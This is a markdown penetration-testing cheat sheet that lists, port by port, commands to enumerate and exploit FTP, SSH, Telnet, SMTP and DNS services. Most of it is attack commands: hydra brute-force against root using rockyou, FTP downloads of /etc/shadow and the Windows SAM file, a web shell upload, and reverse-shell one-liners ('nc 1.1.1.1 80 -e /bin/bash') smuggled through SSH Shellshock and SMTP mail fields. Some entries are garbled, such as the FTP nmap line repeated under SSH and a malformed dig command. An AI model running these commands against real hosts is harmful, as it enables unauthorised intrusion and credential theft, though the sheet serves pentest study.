enum-exploitation.md

Adding constantly content, depending on free time :)

Instead of writing a list of tasks to perform on each port/service or using old tools, I will write the full command with arguments to enumerate and (possibly) exploit it with newest tools. $ip refers to simply the variable assigned with export ip=10.10.10.10 Remember to switch between wordlists if one just doesn't give out results

General

Enumeration

• Banner:
  • nc -vn $ip [PORT]

Exploitation

• Reuse credentials from other local services
• searchsploit [SERVICE NAME]+[VERSION]

Common TCP ports

---

21 (FTP)

Enumeration

• Anonymous login
  • nmap --script ftp-anon -p21 $ip ** Exploitation**
• Connect and try to download/upload files (even if you can't cd into that directory):
  • get /etc/shadow
  • get C:\\Windows\\system3\\config\\SAM
  • put shell.aspx
• Brute-force:
  • hydra -l root -P /usr/share/wordlists/rockyou.txt $ip ftp -t 1

22 (SSH)

Enumeration

• Anonymous login
  • nmap --script ftp-anon -p21 $ip Exploitation
• Reuse private key from other machines
• Shellshock:
  • ssh root@$ip 'nc 1.1.1.1 80 -e /bin/bash'
• Brute-force:
  • hydra -l root -P /usr/share/wordlists/rockyou.txt $ip ssh

23 (Telnet)

Exploitation

• Brute-force:
  • hydra -l root -P /usr/share/wordlists/rockyou.txt $ip telnet -t 1

25 (SMTP)

Enumeration

• Enum users
  • smtp-user-enum -M VRFY -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t $ip Exploitation
• Send mail with malicious parameters:
  • ehlo server.com mail from: 'nc 1.1.1.1 80 -e /bin/bash' rcpt to: 'nc 1.1.1.1 80 -e /bin/bash' data Subject: nc 1.1.1.1 80 -e /bin/bash

53 (DNS)

Enumeration

• Zone Transfer: dig @axfr @$ip server.com +nocookie